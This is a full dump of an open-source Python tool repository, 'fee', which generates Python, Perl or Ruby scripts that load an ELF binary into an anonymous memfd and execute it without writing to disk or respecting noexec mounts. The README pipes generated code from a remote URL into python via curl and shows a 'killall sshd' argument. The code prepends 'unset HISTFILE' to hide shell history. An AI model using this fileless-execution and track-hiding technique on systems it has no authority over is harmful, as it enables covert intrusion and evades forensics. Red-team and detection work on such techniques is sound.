├── .gitignore ├── pyproject.toml ├── README.md ├── poetry.lock ├── fee.py └── LICENSE /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | *.pyc 3 | dist/ 4 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "fee" 3 | version = "0.2.0" 4 | description = "Execute ELF files without dropping them on disk" 5 | authors = ["Rasmus Moorats "] 6 | license = "GPLv3" 7 | 8 | readme = "README.md" 9 | repository = "https://github.com/nnsee/fileless-elf-exec" 10 | homepage = "https://github.com/nnsee/fileless-elf-exec" 11 | 12 | [tool.poetry.dependencies] 13 | python = ">=3.8,<4.0" 14 | 15 | [tool.poetry.dev-dependencies] 16 | pylint = "^3.2.5" 17 | black = "^24.4.2" 18 | 19 | [tool.poetry.scripts] 20 | fee = "fee:main" 21 | 22 | [build-system] 23 | requires = ["poetry-core>=1.0.0"] 24 | build-backend = "poetry.core.masonry.api" 25 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Execute ELF files on a machine without dropping an ELF 2 | 3 | [![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black) 4 | 5 | ### Description 6 | 7 | This Python script generates interpreted code which creates the supplied ELF as a file in memory and executes it (without tmpfs). This makes it possible to execute binaries without leaving traces on the disk. 8 | 9 | The technique used for this is explained [here](https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html). 10 | 11 | With default options for each interpreter, running binaries using `fee` does not write to disk whatsoever. This can be verified using tools such as `strace`. 12 | 13 | `fee` also completely ignores and bypasses `noexec` mount flags, even if they were set on `/proc`. 14 | 15 | 16 | ### Target requirements 17 | 18 | * kernel: 3.17 or later (for `memfd_create` support) 19 | * An interpreter. Any of these: 20 | * Python 2 21 | * Python 3 22 | * Perl 23 | * Ruby 24 | 25 | 26 | ### Installation 27 | 28 | Install this on your host machine using [pipx](https://github.com/pypa/pipx): 29 | ```console 30 | $ pipx install fee 31 | ``` 32 | 33 | ... or regular pip: 34 | ```console 35 | $ pip install --user fee 36 | ``` 37 | 38 | You may also clone this repository and run the script directly. 39 | 40 | ### Usage 41 | 42 | Basic usage: supply the path to the binary you wish to drop: 43 | 44 | ```console 45 | $ fee /path/to/binary > output.py 46 | ``` 47 | 48 | You can then pipe this into Python on the target: 49 | 50 | ```console 51 | $ curl my.example.site/output.py | python 52 | ``` 53 | 54 | Alternatively, you may generate Perl or Ruby code instead with the `--lang` flag (`-l`): 55 | ```console 56 | $ fee /path/to/binary -l pl | perl 57 | ``` 58 | 59 | ```console 60 | $ fee /path/to/binary -l rb | ruby 61 | ``` 62 | 63 | If you want to pipe over ssh, use the `--with-command` flag (`-c`) to wrap the output in `python -c` (or `perl -e`, `ruby -e` accordingly): 64 | 65 | ```console 66 | $ fee -c /path/to/binary | ssh user@target 67 | ``` 68 | 69 | When piping over ssh, you sometimes want to wrap the long line which holds the base64-encoded version of the binary, as some shells do not like super long input strings. You can accomplish this with the `--wrap` flag (`-w`): 70 | ```console 71 | $ fee -c /path/to/binary -w 64 | ssh user@target 72 | ``` 73 | 74 | If you want to customise the arguments, use the `--argv` flag (`-a`): 75 | 76 | ```console 77 | $ fee -a "killall sshd" ./busybox > output.py 78 | ``` 79 | 80 | **If you don't wish to include the binary in the generated output**, you can instruct `fee` to generate a script which accepts the ELF from stdin at runtime. For this, use `-` for the filename. You can combine all of these options for clever one-liners: 81 | ```console 82 | $ ssh user@target "$(fee -c -a "echo hi from stdin" -t "libc" -)" < ./busybox 83 | 84 | hi from stdin 85 | ``` 86 | 87 | __NB!__ By default, the script parses the encoded ELF's header to determine the target architecture. This is required to use the correct syscall number when calling `memfd_create`. If this fails, you can use the `--target-architecture` (`-t`) flag to explicitly generate a syscall number. Alternatively, you can use the `libc` target to resolve the symbol automatically at runtime, although this only works when generating Python code. 88 | For more exotic platforms, you should specify the syscall number manually. You need to search for `memfd_create` in your target's architecture's syscall table. This is located in various places in the Linux kernel sources. Just Googling `[architecture] syscall table` is perhaps the easiest. You can then specify the syscall number using the `--syscall` flag (`-s`). 89 | 90 | Full help text: 91 | ``` 92 | usage: fee.py [-h] [-t ARCH | -s NUM] [-a ARGV] [-l LANG] [-c] [-p PATH] [-w CHARS] [-z LEVEL] 93 | path 94 | 95 | Print code to stdout to execute an ELF without dropping files. 96 | 97 | positional arguments: 98 | path path to the ELF file (use '-' to read from stdin at runtime) 99 | 100 | optional arguments: 101 | -h, --help show this help message and exit 102 | -t ARCH, --target-architecture ARCH 103 | target platform for resolving memfd_create (default: detect from ELF) 104 | -s NUM, --syscall NUM 105 | syscall number for memfd_create for the target platform 106 | -a ARGV, --argv ARGV space-separated arguments (including argv[0]) supplied to execle (default: 107 | path to file as argv[0]) 108 | -l LANG, --language LANG 109 | language for the generated code (default: python) 110 | -c, --with-command wrap the generated code in a call to an interpreter, for piping directly 111 | into ssh 112 | -p PATH, --interpreter-path PATH 113 | path to interpreter on target if '-c' is used, otherwise a sane default is 114 | used 115 | -w CHARS, --wrap CHARS 116 | when base64-encoding the elf, how many characters to wrap to a newline 117 | (default: 0) 118 | -z LEVEL, --compression-level LEVEL 119 | zlib compression level, 0-9 (default: 9) 120 | ``` 121 | -------------------------------------------------------------------------------- /poetry.lock: -------------------------------------------------------------------------------- 1 | # This file is automatically @generated by Poetry 1.8.3 and should not be changed by hand. 2 | 3 | [[package]] 4 | name = "astroid" 5 | version = "3.2.2" 6 | description = "An abstract syntax tree for Python with inference support." 7 | optional = false 8 | python-versions = ">=3.8.0" 9 | files = [ 10 | {file = "astroid-3.2.2-py3-none-any.whl", hash = "sha256:e8a0083b4bb28fcffb6207a3bfc9e5d0a68be951dd7e336d5dcf639c682388c0"}, 11 | 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markers = "python_version >= \"3.12\""}, 194 | {version = ">=0.3.6", markers = "python_version >= \"3.11\" and python_version < \"3.12\""}, 195 | ] 196 | isort = ">=4.2.5,<5.13.0 || >5.13.0,<6" 197 | mccabe = ">=0.6,<0.8" 198 | platformdirs = ">=2.2.0" 199 | tomli = {version = ">=1.1.0", markers = "python_version < \"3.11\""} 200 | tomlkit = ">=0.10.1" 201 | typing-extensions = {version = ">=3.10.0", markers = "python_version < \"3.10\""} 202 | 203 | [package.extras] 204 | spelling = ["pyenchant (>=3.2,<4.0)"] 205 | testutils = ["gitpython (>3)"] 206 | 207 | [[package]] 208 | name = "tomli" 209 | version = "2.0.1" 210 | description = "A lil' TOML parser" 211 | optional = false 212 | python-versions = ">=3.7" 213 | files = [ 214 | {file = "tomli-2.0.1-py3-none-any.whl", hash = "sha256:939de3e7a6161af0c887ef91b7d41a53e7c5a1ca976325f429cb46ea9bc30ecc"}, 215 | {file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"}, 216 | ] 217 | 218 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= "2.0" 242 | python-versions = ">=3.8,<4.0" 243 | content-hash = "de9e19fa77a5fddce969eef7141bed6bbe54bb0e57ab98a0bc13e7c73322d331" 244 | -------------------------------------------------------------------------------- /fee.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | # written-by: nns 2021 5 | # for license, check LICENSE file 6 | 7 | # pylint: disable=line-too-long 8 | # pylint: disable=missing-class-docstring 9 | # pylint: disable=missing-function-docstring 10 | # pylint: disable=missing-module-docstring 11 | 12 | import argparse 13 | import os.path 14 | import struct 15 | import sys 16 | import zlib 17 | from base64 import b64encode 18 | 19 | 20 | def print_out(what: str) -> None: 21 | sys.stdout.write(what) 22 | sys.stdout.flush() 23 | 24 | 25 | def print_err(what: str) -> None: 26 | sys.stderr.write(what) 27 | sys.stderr.flush() 28 | 29 | 30 | def _get_e_machine(header: bytes) -> int: 31 | if header[0x05] == 1: 32 | endianness = "<" 33 | else: 34 | endianness = ">" 35 | 36 | _, machine = struct.unpack(f"{endianness}16xHH", header) 37 | 38 | return machine 39 | 40 | 41 | def _err_stdin_flag(name, flag) -> int: 42 | print_err(f"error: {name} ('-{flag}') is required when using stdin\n") 43 | print_err("Use --help for more information.\n") 44 | return 1 45 | 46 | 47 | class CodeGenerator: 48 | def __init__(self) -> None: 49 | self.compression_level = 9 50 | self.wrap = 0 51 | self.syscall = None 52 | self.use_stdin = False 53 | self._meta = self._Python 54 | self._generator = None 55 | 56 | def _prepare_elf(self, elf: bytes) -> bytes: 57 | # compress the binary and encode it with base64 58 | # base64 is required so we don't put any funky characters in an 59 | # otherwise human-readable script 60 | compressed_elf = zlib.compress(elf, self.compression_level) 61 | encoded = b64encode(compressed_elf) 62 | 63 | return encoded 64 | 65 | def set_lang(self, lang: str) -> None: 66 | lang = lang.lower() 67 | if lang in ["py", "python"]: 68 | self._meta = self._Python 69 | elif lang in ["pl", "perl"]: 70 | self._meta = self._Perl 71 | elif lang in ["rb", "ruby"]: 72 | self._meta = self._Ruby 73 | else: 74 | raise LanguageNotImplementedException( 75 | f"Language '{lang}' is not implemented" 76 | ) 77 | 78 | def generate(self, elf: bytes, argv: str) -> str: 79 | self._generator = self._meta(self) 80 | self._generator.add_header() 81 | self._generator.add_elf(elf) 82 | self._generator.add_dump_elf() 83 | self._generator.add_call_elf(argv) 84 | return self._generator.output 85 | 86 | def with_command(self, **kwargs) -> str: 87 | if not self._generator: 88 | raise GeneratorException("Code not yet generated") 89 | 90 | if kwargs.get("path") is None: 91 | # this is stupid 92 | kwargs.pop("path", None) 93 | 94 | # let's try to hide our tracks a bit better 95 | return f" unset HISTFILE; {self._generator.with_command(**kwargs)}" 96 | 97 | class _Perl: 98 | # Perl generator metaclass 99 | def __init__(self, outer) -> None: 100 | self.output = "" 101 | self.prep_elf = outer._prepare_elf 102 | self.wrap = outer.wrap 103 | if not outer.syscall: 104 | raise GeneratorException( 105 | "Perl generator cannot resolve the syscall using libc, specify a target architecture" 106 | ) 107 | self.syscall = outer.syscall 108 | self.use_stdin = outer.use_stdin 109 | 110 | def with_command(self, path="/usr/bin/env perl") -> str: 111 | escaped = self.output.replace('"', '\\"') 112 | escaped = escaped.replace("$", "\\$") 113 | return f'{path} -e "{escaped}"' 114 | 115 | def add(self, line: str) -> None: 116 | self.output += f"{line};\n" 117 | 118 | def add_header(self) -> None: 119 | if not self.use_stdin: 120 | self.add("use MIME::Base64") 121 | self.add("use Compress::Zlib") 122 | 123 | def add_elf(self, elf: bytes) -> None: 124 | if self.use_stdin: 125 | self.add("open F, '") 130 | self.add("}") 131 | self.add("close(F)") 132 | return 133 | 134 | # prepare elf 135 | encoded = self.prep_elf(elf).decode("ascii") 136 | 137 | # wrap if necessary 138 | if self.wrap > 3: 139 | chars = self.wrap - 3 # two quotes and concat operator 140 | length = len(encoded) 141 | encoded = "'.\n'".join( 142 | encoded[i : i + chars] for i in range(0, length, chars) 143 | ) 144 | 145 | self.add(f"$c = decode_base64(''.\n'{encoded}')") 146 | self.add("$e = uncompress($c)") 147 | 148 | def add_dump_elf(self) -> None: 149 | # we create the fd with no name 150 | self.add("$n = ''") 151 | self.add(f"$f = syscall({self.syscall}, $n, 1)") 152 | self.add("open($h, '>&='.$f) or die") 153 | self.add("select((select($h), $|=1)[0])") 154 | self.add("print $h $e") 155 | 156 | def add_call_elf(self, argv: str) -> None: 157 | self.add('$p = "/proc/self/fd/$f"') 158 | args = argv.strip() 159 | args = args.replace("'", "\\'") # escape single quotes, we use them 160 | args = args.replace(" ", "', '") # split argv into separate words 161 | self.add(f"exec {{$p}} '{args}'") 162 | 163 | class _Python: 164 | # Python generator metaclass 165 | def __init__(self, outer) -> None: 166 | self.output = "" 167 | self.prep_elf = outer._prepare_elf 168 | self.wrap = outer.wrap 169 | self.syscall = outer.syscall 170 | self.use_stdin = outer.use_stdin 171 | 172 | def with_command(self, path="/usr/bin/env python") -> str: 173 | escaped = self.output.replace('"', '\\"') 174 | return f'{path} -Bc "{escaped}"' 175 | 176 | def add(self, line: str) -> None: 177 | self.output += f"{line}\n" 178 | 179 | def add_header(self) -> None: 180 | imports = "ctypes, os" 181 | if not self.use_stdin: 182 | imports += ", base64, zlib" 183 | self.add(f"import {imports}") 184 | self.add("l = ctypes.CDLL(None)") 185 | if self.syscall: 186 | self.add("s = l.syscall") # we specify the syscall manually 187 | else: 188 | self.add("s = l.memfd_create") # dynamic 189 | 190 | def add_elf(self, elf: bytes) -> None: 191 | if self.use_stdin: 192 | self.add("from sys import stdin, version_info") 193 | self.add("if version_info >= (3, 0):") 194 | self.add(" e = stdin.buffer.read()") 195 | self.add("else:") 196 | self.add(" e = stdin.read()") 197 | return 198 | 199 | # prepare elf 200 | encoded = f"{self.prep_elf(elf)}" 201 | 202 | # wrap if necessary 203 | if self.wrap > 3: 204 | chars = self.wrap - 3 # two quotes and byte literal identifier 205 | length = len(encoded) 206 | encoded = "'\nb'".join( 207 | encoded[i : i + chars] for i in range(0, length, chars) 208 | ) 209 | 210 | self.add(f"c = base64.b64decode(\n{encoded}\n)") 211 | self.add("e = zlib.decompress(c)") 212 | 213 | def add_dump_elf(self) -> None: 214 | # we create the fd with no name 215 | if self.syscall: 216 | self.add(f"f = s({self.syscall}, '', 1)") 217 | else: 218 | self.add("f = s('', 1)") 219 | self.add("os.write(f, e)") 220 | 221 | def add_call_elf(self, argv: str) -> None: 222 | self.add("p = '/proc/self/fd/%d' % f") 223 | args = argv.strip() 224 | args = args.replace("'", "\\'") # escape single quotes, we use them 225 | args = args.replace(" ", "', '") # split argv into separate words 226 | self.add(f"os.execle(p, '{args}', {{}})") 227 | 228 | class _Ruby: 229 | # Ruby generator metaclass 230 | def __init__(self, outer) -> None: 231 | self.output = "" 232 | self.prep_elf = outer._prepare_elf 233 | self.wrap = outer.wrap 234 | if not outer.syscall: 235 | raise GeneratorException( 236 | "Ruby generator cannot resolve the syscall using libc, specify a target architecture" 237 | ) 238 | self.syscall = outer.syscall 239 | self.use_stdin = outer.use_stdin 240 | 241 | def with_command(self, path="/usr/bin/env ruby") -> str: 242 | escaped = self.output.replace('"', '\\"') 243 | escaped = escaped.replace("$", "\\$") 244 | return f'{path} -e "{escaped}"' 245 | 246 | def add(self, line: str) -> None: 247 | self.output += f"{line}\n" 248 | 249 | def add_header(self) -> None: 250 | if not self.use_stdin: 251 | self.add("require 'base64'") 252 | self.add("require 'zlib'") 253 | 254 | def add_elf(self, elf: bytes) -> None: 255 | if self.use_stdin: 256 | self.add("$stdin.binmode") 257 | self.add("e = $stdin.read") 258 | return 259 | 260 | # prepare elf 261 | encoded = self.prep_elf(elf).decode("ascii") 262 | 263 | # wrap if necessary 264 | if self.wrap > 3: 265 | chars = self.wrap - 3 # two quotes and concat operator 266 | length = len(encoded) 267 | encoded = "'+\n'".join( 268 | encoded[i : i + chars] for i in range(0, length, chars) 269 | ) 270 | 271 | self.add(f"c = Base64.decode64(''+\n'{encoded}')") 272 | self.add("e = Zlib::Inflate.inflate(c)") 273 | 274 | def add_dump_elf(self) -> None: 275 | # we create the fd with no name 276 | self.add("n = ''") 277 | self.add(f"f = syscall({self.syscall}, n, 1)") 278 | self.add("io = IO.new(f)") 279 | self.add("io << e") 280 | 281 | def add_call_elf(self, argv: str) -> None: 282 | self.add('p = "/proc/self/fd/#{f}"') 283 | args = argv.strip() 284 | argv0 = args.split()[0] 285 | args = ( 286 | args[len(argv0) : len(args)].strip().replace("'", "\\'") 287 | ) # escape single quotes, we use them 288 | args = args.replace(" ", "', '") # split argv into separate words 289 | execline = f"exec([p, '{argv0}']" 290 | if len(args) > 0: 291 | execline = execline + f", '{args}'" 292 | execline = execline + ")" 293 | self.add(execline) 294 | 295 | 296 | def main() -> int: 297 | # we need to monkeypatch the help function to print to stderr 298 | # as we want nothing but executable code being printed to stdout 299 | def patched_help_call( 300 | self, parser, namespace, values, option_string=None 301 | ): # pylint: disable=unused-argument 302 | parser.print_help(file=sys.stderr) 303 | parser.exit() 304 | 305 | argparse._HelpAction.__call__ = patched_help_call # pylint: disable=W0212 306 | 307 | # map of memfd_create syscall numbers for different architectures 308 | # also includes e_machine numbers 309 | syscall_numbers = { 310 | **dict.fromkeys(["autodetect", "libc"], -1), 311 | **dict.fromkeys(["386", 3], 356), 312 | **dict.fromkeys(["amd64", 62], 319), 313 | **dict.fromkeys(["arm", 40], 385), 314 | **dict.fromkeys(["arm64", "riscv64", 183], 279), 315 | **dict.fromkeys(["mips", 8], 4354), 316 | **dict.fromkeys(["mips64", "mips64le", 8], 5314), 317 | **dict.fromkeys(["ppc", "ppc64", 20], 360), 318 | **dict.fromkeys(["s390x", 22], 350), 319 | **dict.fromkeys(["sparc64", 2, 18, 43], 348), 320 | } 321 | 322 | parser = argparse.ArgumentParser( 323 | description="Print code to stdout to execute an ELF without dropping files." 324 | ) 325 | parser.add_argument( 326 | "path", 327 | type=str, 328 | help="path to the ELF file (use '-' to read from stdin at runtime)", 329 | ) 330 | arch_or_syscall_group = parser.add_mutually_exclusive_group() 331 | arch_or_syscall_group.add_argument( 332 | "-t", 333 | "--target-architecture", 334 | metavar="ARCH", 335 | help="target platform for resolving memfd_create (default: detect from ELF)", 336 | choices=[k for k in syscall_numbers if isinstance(k, str)], 337 | default="autodetect", 338 | ) 339 | arch_or_syscall_group.add_argument( 340 | "-s", 341 | "--syscall", 342 | metavar="NUM", 343 | type=int, 344 | help="syscall number for memfd_create for the target platform", 345 | ) 346 | parser.add_argument( 347 | "-a", 348 | "--argv", 349 | help="space-separated arguments (including argv[0]) supplied to execle (default: path to file as argv[0])", 350 | ) 351 | parser.add_argument( 352 | "-l", 353 | "--language", 354 | metavar="LANG", 355 | help="language for the generated code (default: python)", 356 | ) 357 | parser.add_argument( 358 | "-c", 359 | "--with-command", 360 | action="store_true", 361 | help="wrap the generated code in a call to an interpreter, for piping directly into ssh", 362 | ) 363 | parser.add_argument( 364 | "-p", 365 | "--interpreter-path", 366 | metavar="PATH", 367 | help="path to interpreter on target if '-c' is used, otherwise a sane default is used", 368 | ) 369 | parser.add_argument( 370 | "-w", 371 | "--wrap", 372 | metavar="CHARS", 373 | type=int, 374 | help="when base64-encoding the elf, how many characters to wrap to a newline (default: 0)", 375 | default=0, 376 | ) 377 | parser.add_argument( 378 | "-z", 379 | "--compression-level", 380 | metavar="LEVEL", 381 | type=int, 382 | help="zlib compression level, 0-9 (default: 9)", 383 | choices=range(0, 10), 384 | default=9, 385 | ) 386 | args = parser.parse_args() 387 | 388 | argv = args.argv 389 | 390 | try: 391 | use_stdin = False 392 | if args.path == "-": 393 | use_stdin = True 394 | 395 | if use_stdin: 396 | if not argv: 397 | return _err_stdin_flag("argv", "a") 398 | if not args.target_architecture or args.target_architecture == "autodetect": 399 | return _err_stdin_flag("arch", "t") 400 | 401 | if not argv: 402 | # argv not specified, so let's just call it with the basename on the host 403 | argv = os.path.basename(args.path) 404 | 405 | if args.interpreter_path and not args.with_command: 406 | print_err("note: '-p' flag meaningless without '-c'\n") 407 | 408 | # read the elf 409 | if not use_stdin: 410 | with open(args.path, "rb") as elf_file: 411 | elf = elf_file.read() 412 | else: 413 | elf = None 414 | 415 | code_generator = CodeGenerator() 416 | 417 | code_generator.compression_level = args.compression_level # defaults to 9 418 | code_generator.wrap = args.wrap # defaults to 0, no wrap 419 | code_generator.use_stdin = use_stdin # defaults to False 420 | 421 | if args.target_architecture == "autodetect" and not use_stdin: 422 | args.target_architecture = _get_e_machine(elf[:20]) 423 | 424 | if args.target_architecture != "libc": 425 | # map to syscall number 426 | syscall = syscall_numbers.get(args.target_architecture) 427 | else: 428 | syscall = args.syscall # None if not specified 429 | 430 | code_generator.syscall = syscall 431 | 432 | if args.language: 433 | code_generator.set_lang(args.language) 434 | 435 | out = code_generator.generate(elf, argv) 436 | if args.with_command: 437 | out = code_generator.with_command(path=args.interpreter_path) 438 | 439 | # explicitly write to stdout 440 | print_out(out) 441 | except Exception as exception: # pylint: disable=broad-except 442 | print_err(f"{exception.__str__()}\n") 443 | print_err("Use --help for more information.\n") 444 | return 1 445 | 446 | return 0 447 | 448 | 449 | class LanguageNotImplementedException(Exception): 450 | pass 451 | 452 | 453 | class GeneratorException(Exception): 454 | pass 455 | 456 | 457 | if __name__ == "__main__": 458 | sys.exit(main()) 459 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General 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Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. 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"Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | --------------------------------------------------------------------------------